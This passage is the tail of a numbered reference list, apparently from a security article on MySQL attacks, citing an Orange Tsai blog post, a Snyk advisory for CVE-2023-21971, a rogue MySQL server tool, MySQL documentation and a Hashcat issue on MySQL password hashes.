exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) 803 - [6] [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) 804 - [7] [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) 805 - [8] [MySQL 8.4 Reference Manual - privileges and server-side file operations](https://dev.mysql.com/doc/refman/8.4/en/privileges-provided.html) 806 - [9] [MySQL worklog - `caching_sha2_password` storage format](https://dev.mysql.com/worklog/task/?id=9591) 807 - [10] [Hashcat issue adding mode 7401 for MySQL `$A$`](https://github.com/hashcat/hashcat/issues/2305)